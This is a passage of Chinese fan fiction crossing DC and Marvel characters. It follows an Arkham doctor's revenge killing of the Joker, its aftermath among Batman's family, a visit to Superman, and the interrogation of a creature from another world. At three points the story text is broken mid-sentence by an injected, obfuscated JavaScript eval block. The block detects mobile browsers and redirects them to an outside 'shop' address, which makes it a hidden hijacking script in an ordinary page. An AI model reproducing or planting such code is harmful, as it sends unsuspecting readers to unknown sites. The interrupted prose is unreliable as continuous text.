他站在那儿,站了很久。久到有人来劝他,久到有人把他扶出去,久到他不知道自己是怎么回家的。 那天晚上,他做了一个决定。 --- 4 刀落下去的那一刻,布拉诺克脑子里闪过了很多画面。 他妈妈的笑容。杰西卡的笑容。艾米张开的小手。 他等这一刻等了多久? 他花了三年时间,把自己变成一个医生。考资格证,写简历,投阿卡姆。他等了整整一年,每天听着里面那个笑声,每天忍着冲进去的冲动。 现在他终于进来了。 小丑的血从脖子上涌出来,染红了床单。那双眼睛还在盯着他,但笑容没了,变成了别的什么。 布拉诺克低头看着他,心想:原来你也会死。 原来把普通人当成玩笑的你,也只是一个普通人。 他抽回刀,又刺了一下。又一下。又一下。 他不知道刺了多少下。等他停下来的时候,小丑已经不动了。 布拉诺克站在床边,低头看着那具尸体。手在抖,刀在抖,全身都在抖。 但他不后悔。 他转身,把刀放进口袋,推开门,走出去。 走廊里没人。值班室的人还在打盹。他走过那条长长的走廊,走到门口,推开门,走进夜色。 外面在下雨。 很小的雨,细细的,打在身上没什么感觉。 他站在雨里,深吸一口气。 然后他开始走。 他不知道要去哪,但他开始走。 身后,阿卡姆的灯还亮着。里面有人在尖叫,有人在笑,有人在哭。 他不知道那些声音里不会再有小丑了。 他只是走着。 --- 5 蝙蝠侠赶到的时候,已经晚了。 他站在小丑的病房里,低头看着那张床。尸体还在,血已经凝固了。空气里弥漫着一股铁锈味,混着消毒水的味道。 迪克站在门口,脸色很难看。 “监控被人关了。”他说,“值班的人什么都没看见。” 蝙蝠侠没说话。 他蹲下来,看了看那把被扔在地上的手术刀。普通的刀,谁都能买到的刀。 他站起来,走出病房。 走廊里有人在哭——一个小护士,刚发现发生了什么。有人在打电话,有人在大喊大叫,有人在跑来跑去。 蝙蝠侠穿过那些混乱,走到监控室。 屏幕黑着。有人切断了电源。 他调出之前的记录,快进,快退,快进。 一个男人出现在画面上。白大褂,普通长相,普通身高。他走进小丑的病房,在里面待了几分钟,然后走出来,离开。 蝙蝠侠把画面定格,放大,放大,再放大。 那个人的脸。 他看着那张脸,沉默了很久。 后来他们查到了那个人是谁。 布拉诺克。三十一岁。阿卡姆的实习医生。入职一年。 再往前查,查到了他妈妈,查到了他十七岁那年的事,查到了他妻子,查到了他女儿。 迪克看完那些资料,沉默了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444111|201073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 提姆也在旁边,看着那些记录,最后只说了一句:“这不能怪他。” 达米安难得没说话。 蝙蝠侠站在那儿,看着那些资料,看了很久。 然后他转身,走出监控室。 他们找到布拉诺克的时候,他坐在一个废弃的仓库里,背靠着墙,手里拿着那把刀。 他没有反抗,没有跑,甚至没有抬头看他们。 他只是坐在那儿,像一尊雕塑。 蝙蝠侠站在他面前,低头看着他。 布拉诺克终于抬起头。 他的眼睛很平静。没有疯狂,没有恐惧,什么都没有。 “我知道你们会来。”他说。 蝙蝠侠没说话。 布拉诺克继续说:“我不后悔。” 蝙蝠侠沉默了几秒,然后开口:“你杀了人。” 布拉诺克点头:“我知道。” 蝙蝠侠看着他,那双白色的镜片后面,谁也看不清他在想什么。 过了一会儿,蝙蝠侠说:“你走吧。” 布拉诺克愣了一下。 迪克也愣了一下。 蝙蝠侠继续说:“离开哥谭。永远不要再回来。” 布拉诺克看着他,问:“为什么?” 蝙蝠侠没有回答。 他转身,走了。 布拉诺克坐在那儿,看着那个黑色的背影消失在仓库门口。 迪克站在旁边,犹豫了一下,然后说:“他是为了保护你。” 布拉诺克没说话。 迪克继续说:“杀死小丑的人,会有很多人来找你。那些人不是想给小丑报仇,是想借你的名字出名。你会很危险。” 布拉诺克低下头,看着手里的刀。 “我知道。”他说。 迪克看着他,叹了口气,然后跟着蝙蝠侠走了。 仓库里只剩下布拉诺克一个人。 他坐了很久。久到天快亮了,久到雨停了,久到手里的刀都快被他攥热了。 然后他站起来,把刀收进口袋,走出仓库。 他不知道要去哪。 但明天或许是一个难得明媚的日子。 --- 6 卡伦和杰森回到诊所的时候,天快亮了。 时间看似过了很久,久到一桩陈年旧案终于有了一个了解,但实际上也不过是一个晚上的时间。 提姆在刚才把资料发给了他们。 看来童工又通宵了。 杰森把车停好,熄了火,没动。 卡伦也没动。 两个人就那么坐着,看着车窗外的晨光一点点亮起来。 杰森先开口:“那个人,叫什么来着?” 卡伦想了想:“布拉诺克。” 杰森点头,沉默了一会儿,然后说:“他妈妈,妻子,女儿。三条命。” 卡伦没说话。 杰森继续说:“他等了一年。就在阿卡姆里面,每天看着那个疯子。” 卡伦靠在椅背上,看着车顶。 杰森转头看他:“你怎么想?” 卡伦想了想,说:“我不觉得他做错了。” 杰森点头。 卡伦继续说:“但蝙蝠侠或许会觉得他做错了。” 杰森笑了一下,那笑容有点苦:“老头子觉得所有人都做错了。” 卡伦没接话。 沉默了一会儿,杰森突然问:“如果是你,你会怎么做?” 卡伦想了想,认真地想了想。 “我不知道。”他说。 杰森看着他。 卡伦继续说:“我可能会做同样的事。也可能不会。我不知道。” 杰森点点头,转回去看着前方。 天越来越亮了。阳光从车窗外照进来,照在两人的脸上。 卡伦突然想起一件事。 “你之前说过,让小丑死是便宜他。” 杰森点头。 卡伦问:“那你现在怎么想?” 杰森沉默了很久。 然后他开口,声音很低:“我不知道。” 卡伦等着他往下说。 杰森继续说:“我觉得便宜他了。但我也觉得,那个人应该这么做。” 他转头看卡伦,眼神有点复杂。 “我不知道该怎么想。” 卡伦看着他,点了点头。 两个人又沉默了。 阳光越来越亮,照得车里暖洋洋的。远处传来几声鸟叫,偶尔有车从旁边驶过,掀起一阵风。 杰森突然说:“你知道吗,我今天本来想揍他一顿的。” 卡伦点头:“我知道。” 杰森笑了一下:“结果被人抢了。” 卡伦也笑了一下。 然后他们又沉默了。 过了很久,杰森推开车门下去。 “走吧。”他说,“回去睡觉。” 卡伦跟着下车,站在他旁边。 杰森走了两步,又回头。 “那个人,你觉得他能活下来吗?” 卡伦想了想,说:“不知道。但他不后悔。” 杰森点头,转身走了。 卡伦站在原地,看着他的背影消失在巷子里。 然后他推门进诊所,躺回床上。 窗外,阳光越来越亮。 新的一天开始了,是哥谭里难得的,天气还算不错的一天。 15. 第十五章 1 小丑死了。 卡伦第二天醒来的时候,打开手机,看见的第一条推送就是这个。 他躺在床上,盯着那条消息看了五秒,然后划开。 各大媒体的头版都是这件事。哥谭公报,哥谭邮报,甚至还有几个全国性的新闻网站。 《哥谭公报》的标题很克制:“阿卡姆患者确认死亡,嫌疑人仍在逃。” 《哥谭邮报》就没那么客气了:“小丑被杀!阿卡姆惊现复仇者!” 还有个更小的网站,标题写得跟小说似的:“恶魔的终结:一个普通人的三年复仇之路。” 卡伦往下翻,翻到评论区。 “死得好。我弟弟十年前被他杀了,凶手至今逍遥法外。现在他终于死了,虽然不是我动的手,但我今晚要开瓶酒。” “哥谭的司法就是个笑话。小丑杀了多少人?进去出来进去出来,跟回自己家似的。现在终于有人做了该做的事。” “我和他妈妈当过一段时间同事,他妈在哥谭里算是好人了,一个人把孩子拉扯大。后来被小丑炸死时那孩子当时才十七岁。” “我不管什么法律不法律,这个人救了我。小丑一天不死,我一天不敢让我女儿单独出门。现在他死了,我可以带她去公园了。” 卡伦一条一条往下翻,翻了几十条,全是类似的。 有人叫好,有人沉默,有人纠结,有人愤怒——愤怒的对象不是杀人者,而是那个让小丑一次次逃脱的司法系统。 他放下手机,躺在床上,看着天花板。 哥谭有死刑,但和不存在没有区别。 在哥谭市所处的司法体系下,被告人可以提起“因精神错乱而无罪”的抗辩。如果成功,他们就不会被送入普通监狱服刑,而是会被强制送往精神病院接受治疗,直到“精神恢复正常”。 像小丑、疯帽匠、双面人这类角色,他们的行为极度癫狂、存在人格分裂或严重幻觉,很容易被辩护律师和法庭鉴定为“精神病患者”,因此最终被判关入阿卡姆。 所以小丑杀了那么多人,每次被抓进去,关几年,跑出来,再杀人,再被抓,再关,再跑。 一个似乎没有尽头的循环。 像是个旋转门,进进出出,永远停不下来。 卡伦想起叠羽世界那些年见过的事。有些地方,法律就是摆设。有些地方,根本没有法律。有些地方,杀人犯可以用家族用钱买出来,继续杀人。 其实地球也一样。 他翻了个身,把脸埋进枕头里。 那个叫布拉诺克的人,现在怎么样了? 被抓了?逃了?躲在什么地方? 他会后悔吗? 卡伦不知道。 不过如果是他,大概不会后悔的。 --- 2 隔了两天杰森来了。 他推门进来的时候,卡伦正坐在窗边发呆。窗外的路灯亮着,把街上的一切都染成昏黄色。偶尔有车驶过,车灯在墙上拉出一道长长的影子。 杰森看了一眼他的表情,没说话,走到零食柜前翻了一袋薯片,然后往椅子上一坐。 薯片袋撕开的声音在安静的诊所里格外响亮。 沉默了一会儿。 杰森先开口:“看新闻了?” 卡伦点头。 杰森嚼着薯片,又问:“有什么感想?” “哥谭的死刑真是完蛋了。” 杰森愣了一下,然后苦笑了一下。 “对。和没有一样。” “所以小丑可以无限循环。” 杰森点头。 卡伦看着他:“你觉得那个人做得对吗?” 杰森嚼薯片的动作停了一下。 他想了想,把薯片袋放到旁边的小茶几上,往椅背上一靠。 “我不知道。” 卡伦等着他往下说。 杰森继续说:“我十几岁的时候,想杀他。后来复活了,更想杀他。但我没动手,原因很复杂。” 他看着手里的薯片袋,表情有点儿难以形容。 “但现在有人动手了。一个普通人。等了一年,就为了做这件事。” 他抬头看卡伦。 “我不知道对不对,但我知道,我不讨厌他。” 卡伦点头。 窗外的路灯闪了一下,又恢复正常。 杰森拿起薯片袋,又嚼了两片,然后突然想起什么。 “对了,灭霸的事,有消息了。” 卡伦愣了一下,然后反应过来他说的是谁。 总是叫他紫薯精,叫得本名都快忘了。 “什么消息?” 杰森说:“老头子在和奇异博士那边联系。” 卡伦皱眉:“奇异博士?” 杰森点头:“就是上次宴会上那个穿披风的。史蒂芬·斯特兰奇。他说他们那边有古一留下的典籍,可能会查到一些关于无限宝石的东西。” 卡伦想了想那个穿披风的男人,至少看起来挺靠谱。上次宴会上他基本没怎么说话,就一直站在角落里看着所有人。 杰森继续说:“还有复仇者那边,也在查。钢铁侠在捣鼓什么能量探测的东西,说是能追踪宝石的波动。美国队长那边在联系瓦坎达,问他们有没有记录。索尔说阿斯加德的藏书里可能也有相关内容,但得回去翻。” 卡伦听着,突然觉得有点奇妙。 这么多人在查一件事。复仇者联盟,正义联盟,奇异博士,瓦坎达,阿斯加德。 他只是一个开诊所的,居然跟这些事扯上了关系。 杰森看着他,问:“你在想什么?” “忽然想起那个人。布拉诺克。” 杰森挑眉。 卡伦继续说:“他一个人,等了一年,杀了小丑。没人帮他,没人知道。他成功了。” 他看着杰森。 “这么多人,阻止那个紫薯精,能成功吗?” 杰森把吃完的薯片袋子团吧团吧丢到垃圾桶。 “应该能吧。” 卡伦问:“应该?” 杰森耸肩:“奇异博士那边说,古一留下的典籍里提到过无限宝石,但没说怎么对付。钢铁侠那边说,能量探测器的精度还不够。瓦坎达那边说,他们需要时间。索尔那边,阿斯加德的藏书被烧了大半,剩下的要慢慢整理。” 他看着卡伦。 “所以现在就是等。” 卡伦点头。 等。 又是等。 布拉诺克等了一年。他们不知道要等多久。 窗外不知道什么时候下起了雨。细细的雨丝打在玻璃上,发出轻微的沙沙声。 杰森站起来,拍了拍手上的薯片渣。 “走了。明天再来。” 卡伦点头。 杰森走到门口,又回头。 “那个紫薯精的事,你别太担心。” 卡伦看着他。 杰森说:“这么多人查呢。总会有办法的。” 门关上了。 他站起来,走到工作台前,看着那个装着黑袍人的瓶子。里面的东西还在乱撞,撞得瓶壁砰砰响,像个被关起来的疯子。 他盯着它看了几秒,然后转身走开。 窗外的雨越下越大了。 --- 3 卡伦的心情在哥谭阴了三天。 走在太阳底下都觉得心里在飘小雨,何况哥谭根本没太阳。 他照常开门,照常看病,照常和病人聊天,照常等杰森来蹭零食。 但就是觉得不对劲。 混身难受。 卡伦受不了了。 第四天早上,他站在窗边,看着外面灰蒙蒙的天,突然做了一个决定。 去大都会换(迫)换(害)心(超)情(人)。 他给杰森发了个消息:去大都会逛逛,晚上回来。 杰森回得很快:??? 杰森:你去大都会干嘛? 卡伦:换心情。 杰森:哥谭不够你换的? 卡伦:哥谭只有一种心情。 杰森:…… 杰森:行吧。回来给我带点大都会的特产。 卡伦把手机收进口袋,锁好诊所的门,开车去往大都会。 一个小时的车程,窗外的景色从灰暗慢慢变得明亮。只是一桥之隔,哥谭那种永远洗不干净的灰就被甩在身后,取而代之的是干净的建筑和整齐的街道。 一个正宗的哥谭人放在此等阳光下暴晒会像吸血鬼一样死掉吗? 卡伦下了车,站在大都会的街头,深吸一口气。 空气确实不一样。没有那么重的霉味,没有那么多的阴霾,阳光比哥谭亮了好几度。 他开始漫无目的的走在街上。 大都会的著名景点他早就听说过,但从来没来过。他沿着主干道走,看了几栋高楼,逛了几家店,最后停在一个广场上。 广场中央有一个喷泉,周围坐着很多人。有人在看书,有人在聊天,有人在喂鸽子。 卡伦找了个长椅坐下,看着那些鸽子发呆,鸽子有几只可能是把他当成了什么建筑,落在他身上。 鸽子突然飞走了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444112|201073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 然后他看见了那个人。 在天上飞的,穿着蓝色紧身衣和红色披风的那种。 超人。 他正在不远处降落,轻轻地、稳稳地落地,像一片羽毛飘下来,却因为体积显得仿佛一块巨石落下。披风在他身后慢慢垂下,完美得像电影镜头。 几个小孩立刻围了上去,兴奋地喊着他的名字。超人蹲下来,笑着和他们说话,耐心地听他们讲那些鸡毛蒜皮的小事。 卡伦坐在长椅上,看着这一幕。 他知道超人的真实身份。 克拉克·肯特,《星球日报》的小记者。戴眼镜的那个,走路有点驼背的那个,说话声音不大的那个。 但超人不知道他知道。 卡伦盯着超人看了几秒,突然想明白了一件事。 不是那副眼镜的问题。眼镜挺好的,换个普通人可能就认不出来了。 问题是超人那个身材。 那个肩膀,那个胸肌,那个站在那里就像一堵墙的体魄——戴上眼镜也藏不住啊。他变小记者的时候,虽然会刻意驼背,会刻意放低声音,但那个骨架,那个体格,怎么可能藏得起来? 卡伦想了想,如果他把杰森塞进一套普通的西装,让他假装普通人,能骗过谁? 骗不过,200磅的小浣熊呢。 超人也是同理。 他站起来,拍拍身上可能存在的灰,慢慢朝那边走过去。 超人这时候已经应付完那群小孩,正准备离开。他看见卡伦走过来,眼睛亮了一下。 也是,他们之前宴会上见过,不过那时候超人虽然穿着西装,但没戴眼镜,所以还是超人的身们。 “卡伦?”超人的声音温和得像个邻居大叔,“你怎么来大都会了?” 卡伦在他面前站定,抬头看着他。这个角度,超人的披风被风吹得微微扬起,整个人沐浴在阳光下,确实还挺帅的。 太阳之子啊。 “来换心情。”卡伦说。 超人笑了笑:“哥谭天气不好?” “不完全是因为天气吧。” 超人点点头,没追问。他大概知道小丑的事。 沉默了两秒。 卡伦突然开口:“有个问题想问你。” 超人看着他,等着。 卡伦指了指他胸前的S标志,又指了指他身后的披风,语气很认真:“你变小记者的时候,真的有人认不出来吗?” 超人愣了一下:“什么?” 卡伦说:“就那个驼背,那个眼镜,那个小声说话的记者。你觉得能骗过谁?” 超人盯着他看了几秒,然后表情慢慢变了。 糟糕被发现了。 “你……”他张了张嘴,“你怎么知道的?” 卡伦耸肩:“猜的。” 超人沉默了一会儿,然后问:“哪里猜出来的?” 卡伦想了想,指了指他的肩膀,又指了指他的胸口。 “这个身材。大都会有几个长这样的?你再驼背,那个肩膀也藏不住。” 超人愣了一下,低头看了看自己。 卡伦继续说:“而且你走路姿势也不对。当超人的时候是飞的,当地球人的时候突然要走路,步子迈得有点不自然?虽然具体我也说不上来,但你看过自己变小记者时候的样子吗?” 超人沉默了几秒,然后笑了。 那笑容比刚才的官方笑容真实多了。 “行吧,”他说,“被你发现了。” 卡伦点头。 超人看着他,问:“你不会告诉别人吧?” “我还不想上蝙蝠通缉令。” 超人愣了一下,笑出了声。 “你说话还挺有趣,不过这话可别让B知道,不然你就真要被'通缉'了。” 卡伦点头,转身走了。 走了两步,又回头。 “对了,驼背可以练练,但那个胸肌真没办法。下次穿更宽松点的衣服吧。” 超人站在原地,看着他的背影,无奈地摇了摇头。 卡伦继续往前走,心情好了更多。 阳光照在身上,暖洋洋的。 他觉得自己心情好像没那么阴沉沉的了。 至少哥谭的事暂时被抛在了脑后。 他掏出手机,给杰森发了条消息:大都会的太阳确实比哥谭亮。 杰森秒回:废话。 杰森:特产呢? 卡伦看着那条消息,笑了一下。 然后他拐进一家蛋糕店,买了点大都会的特色小蛋糕拎在手里。 换完心情,该回去了。 16. 第十六章 1 卡伦不知道自己是怎么爬上来的。 这事说起来有点丢人——他堂堂一个前人类军首领(之一),在叠羽大陆杀进杀出多少回(被杀回老家了),现在居然因为心情不好,半夜三更爬上了哥谭最高的一栋楼,坐在滴水兽上吹冷风。 滴水兽是只石像鬼,张着大嘴,表情狰狞,卡伦坐在它旁边,两条腿悬在外面,看起来像是两只石像鬼在开夜谈会。 下面是哥谭的夜景。 说夜景是好听的。其实就是一片黑压压的建筑,中间戳着几根亮晶晶的灯柱,远处港口的水面上漂着油污,反射出诡异的彩色光斑。偶尔有车驶过,车灯在街道上拉出一道长长的光痕,然后消失在下一个街角,像流星钻进黑洞里。 冷。 晚风吹过来,带着这座城市特有的味道——潮湿的、混着河水和尾气的、怎么洗也洗不掉的霉味。 卡伦怀疑哥谭的空气里掺了某种化学物质,专门让人心情抑郁。要不然怎么解释这个城市的人平均笑脸率比其他地方低至少五十个百分点? 他坐了很久。 久到屁股都麻了。 这几天他的情绪一直不是很明朗,去和超人友善交流了一通,也只是让潮湿的表面被暴晒了。 那个杀了无数人的疯子,终于死了。 是一个普通人,等了一年,用一把手术刀,在那个疯子最虚弱的时候,一刀一刀捅死的。 卡伦想起那些评论区。 “死得好。” “我等了十二年。” “今天终于可以带我女儿去公园了。” 他应该高兴才对。 但他还是不痛快。 他低头看着下面的街道。有人在走,有人在跑,有人在抽烟,有人在吵架。哥谭的夜晚总是这样,热闹又孤独。一个穿着破外套的流浪汉推着购物车经过,车里装着他全部的家当。两个醉鬼靠在墙上互相骂娘。一只野猫从垃圾桶里跳出来,叼着半截热狗,飞快地消失在巷子里。 普通的一夜。 他想起魔法世界那几年。 人类军首领。 这个词他已经很久没想过了。平时他都不愿意提,就像有人不愿意提自己高中时候的中二外号。但那几年是真的,那些反抗是真的,死在他面前的人也是真的。 那时候,正义是很简单的东西。 人类被压迫?那就反抗。世界被污染侵蚀?那就对抗污染。敌人是明确的,目标是明确的,死法是明确的——死了就是死了,活着的继续打。 没有灰色。 或者说,来不及想灰色。每天都在打仗,每天都在死人,哪有时间想那些有的没的。今天活着,明天可能就死了。深度的思考是和平的特产,不属于战争中的人们。 今天这一仗打赢了,明天还有下一仗。敌人就是敌人,自己人就是自己人,黑白的界线分明得像用刀切开的豆腐。 但现在呢? 他低头看着这座城市。 哥谭。 他的故乡。 这里没有明确的敌人。小丑死了,但明天会有新的疯子冒出来。企鹅人跑了,但他的生意还在。黑面具、稻草人、急冻人、谜语人——名单罄竹难书。 就算把这些人都抓进去,哥谭也不会变好。因为会有新的黑面具,新的稻草人,新的急冻人。这个城市就像个培养皿,专门培育疯子。 就算把这些人都抓进去,哥谭也不会变好。 因为哥谭本身就是问题。 那个循环,那道旋转门,那个让凶手进去出来进去出来的司法系统,甚至于哥谭的高层,这个国家的制度。 他想起那些评论,那些点赞,那个等了一年的人,还有不知道多少个和那名医生一样在等待的民众。 正义在这里是什么? 是法律吗?法律保护了谁?是小丑?还是那些被他杀了的人? 是复仇吗?复仇之后呢?那个人的下半辈子怎么办?他杀了人,他现在是通缉犯,甚至他可能这辈子都见不到阳光了。 他不知道。 他坐在这儿,用蝙蝠侠的视角看着这座城市,突然有点理解那个整天黑着脸的家伙了。 不是因为人家爱黑着脸,而是生活在哥谭这个地方,尤其是活动在这个地方的夜晚,要能笑得出来,那才是真的有问题。 风又吹过来,比刚才更冷了。 他缩了缩脖子,但没有下去的意思。 而就在这时候,他看见了一只鸟。 在高楼大厦的缝隙里,一个小小的身影在跃动。红色的,绿色的,黄色的,在夜色里一闪一闪的,像一颗不安分的信号灯。 是罗宾。 卡伦像是毛线圈一样的思绪被短暂的打断了。 那只小鸟从一个楼顶跳到另一个楼顶,穿过阴影,穿过月光,穿过那些灰蒙蒙的建筑,像一颗小小的流星。动作利落,姿势漂亮,轻盈又有力量,一看就知道身手不错。 或许他在奔赴向下一场救援。 卡伦盯着那个方向,看了很久。 直到那只鸟消失了,消失在另一片楼群里。 卡伦没有移开视线,一直望着那点光亮消失的地方。 他想起那些灵魂明亮的人。 杰森的灵魂红得像一团火,烧起来没完没了,死了复活了还在烧。迪克,那个灵魂蓝得像一片海,宁静却暗流汹涌。提姆的灵魂灰里带光,像黎明前的天空。而达米安,那个灵魂小小的,刺刺的,像个没熟透的仙人球。 还有蝙蝠侠,那个黑着脸的家伙,灵魂深不见底,外周像是黑洞,但核心是亮的,一直亮着。 还有芭芭拉,卡珊德拉,阿尔弗雷德…… 他们的灵魂都不是纯白的,却各有各的耀眼。 明知道哥谭不会变好,明知道明天还会有新的疯子,明知道这个循环可能永远停不下来,他们仍为之奋斗着。 卡伦长长地呼出一口气。 白色的雾气在夜色里散开,很快就不见了。 纠结什么呢? 灰色就灰色吧。 至少还有人愿意在浓雾里点灯。哪怕那灯只有黄豆那么大,哪怕风一吹就摇摇晃晃,但人家一直在点,天天点,年年点,让这个地方不至于完全完蛋。 这就够了。 他站起来,活动了一下发麻的腿。屁股坐得有点疼,滴水兽果然不是给人坐的,也不知道蝙蝠侠怎么受得了。哦,他可能是像蝙蝠一样倒挂着。 他开始往下爬。 风还在吹,不过他不觉得冷得难以接受了。 心情难得的平静下来。 可能因为想通了(也可能因为吹风吹麻了,感知系统暂时失灵)反正不重要,重要的是他决定下去,找个地方吃点东西。 --- 2 第二天,卡伦终于想起那个被他关了好几天的黑袍人。 这事说来有点不好意思——他把人家关在瓶子里,然后因为心情不好,把人给忘了。整整三天,没喂,没问,没搭理,就放在工作台上当摆件。 算了,反正也不是什么好东西,是他该的。 他从工作台上拿起那个瓶子,摇了摇。 里面的东西还在乱撞,撞得瓶壁砰砰响,但比前几天慢多了。可能是累了,也可能是饿的。卡伦不太确定这玩意儿需不需要吃东西,反正关进去的时候没想那么多。 瓶子呈半透明状,可以看见里面那团黑色的东西缩在角落里,动一下,停一下,再动一下,像一个快没电的玩具。 卡伦拧开盖子,用两根手指把它捏出来。 那东西在他手里挣扎,力气明显小了很多。上次捏它的时候,它扭得像条泥鳅,这次扭得像条快死的泥鳅。那双竖瞳在日光灯下泛着暗淡的绿光,闪一下,暗一下,再闪一下。 卡伦把它放到工作台上,用一个小炼金阵压住。那阵像个看不见的玻璃罩,把那东西扣在里面,它挣了几下,挣不动,就躺平了。 卡伦拉了把椅子过来,坐下。 “问你几个问题。”他说。 那东西盯着他,没说话。那双绿豆眼在玻璃罩里闪着光,表情看不出来——这东西也没什么表情,就是一团黑乎乎的玩意儿,长了俩眼睛。 卡伦也不急。他靠在椅背上,静静等待着。 沉默持续了很久。 久到卡伦开始数天花板的裂缝。 那东西终于忍不住先开口了,声音还是那种从很远传来的感觉,不过虚弱了很多,像手机在快没电的时候打电话,声音断断续续的。 “你想问什么?” 卡伦想了想,说:“你从那个世界来的?” 那东西点头。 卡伦:“为什么来?” 那东西沉默了一会儿,然后说:“找你。” 卡伦愣了一下。 那东西继续说:“你走了之后,很多事都变了。” 卡伦盯着它,没说话。脸上没什么表情,心里却有点微妙。 那东西的眼睛闪了闪,观察他的反应。然后它继续说,声音里居然带上了一点奇怪的调调,像是在讲一个很有意思的故事: “那个世界还在被污染侵蚀。你走了之后,人类军的抵抗越来越弱。叛徒越来越多。你死之后,没有人能压住那些人。” 卡伦的眉头皱了一下。 “你死的那次,你还记得吗?” 卡伦当然记得。 人类方的叛徒,背后的一刀。最后的画面是灰蒙蒙的天空和刺眼的血。他躺在地上,看着天,心想原来死就是这种感觉。后来不知道怎么又活了,但那一段他不愿多想。 那东西继续说,语气越来越像是在给他挖坑:“但你死了之后,人类军反而更强了。” 卡伦愣了一下。 那东西的眼睛亮了亮,发现了他多少有点感兴趣:“因为你成了符号,一个为人类战死的符号。那些原本不服你的人,那些原本想争权的人,突然都闭嘴了。他们拿你当旗子,继续打仗。你活着的时候压不住他们,你死后他们反而都听话了。” 卡伦心里有点复杂。 那东西看着他,眼睛里闪过一丝什么。总之不是什么好事。 “你不想知道后来怎么样了吗?” 卡伦没说话。 那东西继续说,声音越来越像耳语,带着一种奇怪的诱惑力:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444113|201073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个世界现在怎么样了?人类的处境好一点了吗?污染被清除了吗?你那些部下,还有多少活着?你那个副手,叫什么来着——艾萨克?他还在吗?还有那个小姑娘,你从战场上捡回来的那个,后来长大了吗?” 一句一句,如同钉子一样往他脑子里钉,几乎泛起一阵细密的疼痛。 卡伦发现自己居然在想那些事。 艾萨克。那个大胡子,嗓门大,脾气暴,闲着没事总喜欢把自己喝得醉醺醺的,然后来找他抬杠,但打仗是一把好手。他死了吗?还是活着? 还有那个小姑娘。叫什么来着?只记得她瘦瘦的,脏兮兮的,被他从死人堆里扒出来的时候,眼睛瞪得老大,一声不吭。后来呢?后来她学会面对这个残酷的世界了吗? 那东西的声音又响起来:“你不好奇吗?” 卡伦站起来,走到窗边,背对着它。 窗外是哥谭的白天。阳光照进来,照不到他站的位置。 那东西在后面继续说,声音越来越得意:“你回来之后,一次都没想过吗?不想知道那个世界现在什么样?不想知道你拼命保护的那些人,现在还在不在?你把他们扔在那儿,自己跑回来过安稳日子,你就没想过他们?” 卡伦的手攥紧了。 他知道它在干什么。 无非是诱惑,质问,挑拨,反正就是没干好事。 但他还是忍不住去想。 那个世界。 那么多年。 那么多战友。 他带领他们打了那么久,死了那么多人,最后他自己也死在那里——虽然又活了,但死就是死过。他躺在地上的时候,看着灰蒙蒙的天,心想,就这样吧,后人自有后人福。 但他又活了。 他回来了。 反而是他把那些人都扔在那儿了。 那个世界现在怎么样了? 他不知道。 他刻意不去想。 因为他不知道怎么面对。 他要怎么面对那些死去的战友,面对那些背叛他的人,面对那个他拼了命也没能彻底救回来的世界。面对那个小姑娘,如果她还活着,应该也是独当一面的战士了,她会不会问他:你为什么走了? 那东西的声音又响起来,这次带着明显的笑意:“你不想回去看看吗?” 卡伦转过身,看着它。 那双竖瞳盯着他,绿幽幽的,像两盏鬼火在玻璃罩里飘。那团黑乎乎的东西缩在罩子里,但它的眼睛亮得很,像抓住了什么好东西。 “我可以帮你。”它说,声音里全是诱惑,“我知道回去的路。我可以带你回去看看,看看那个世界现在什么样。你就看一眼,看一眼就行。” 卡伦盯着它,没说话。 沉默持续了很久。 久到那团东西的眼睛开始闪烁,像是有点不确定了。 然后卡伦开口了,声音很平:“说完了?” 那东西愣了一下。 卡伦走回工作台前,拿起那个瓶子。 “说完就继续关着。” 他当然还有很多问题,那东西是怎么过来的,还有同伙吗,污染是否也跟着侵入了…… 但总之这也不是一天两天的事,再说了,偶尔也相信一下正义联盟和复仇者们吧。 他的优点之一,可是信任同伴啊。 他把那东西塞回瓶子里,拧紧盖子。动作干脆利落,没有任何犹豫。 那东西在瓶子里乱撞,撞得砰砰响,像一只愤怒的苍蝇。卡伦隔着玻璃看着它,那双绿豆眼在瓶子里闪着光,像是在骂他。 卡伦盯着它看了几秒。 他确实想知道,他确实也害怕自己真的被他说服了。 想知道那个世界现在什么样,想知道人类军还在不在,想知道那些他拼命保护的人是不是还活着。想知道他拼了命换来的那几年,到底有没有用。 算了,现在不是想这些的时候。 那个紫薯精还在某个地方,动不动就要送走半个宇宙的人。那才是眼前的事,那才是现在需要对付的。 其他的,以后再说吧。 他把瓶子放回工作台上,转身准备去给自己倒杯水。 然后他停住了。 一种感觉。 从很远的地方传来的,但非常清晰。像一根看不见的线,突然被人猛地扯了一下。 杰森的。 那个他熟悉的灵魂,那个红得像一团火的灵魂,突然变得很乱。很弱。像是被什么东西重击了一下,火光忽明忽暗,随时可能灭掉。 卡伦的心猛地沉了下去。 杰森受伤了。 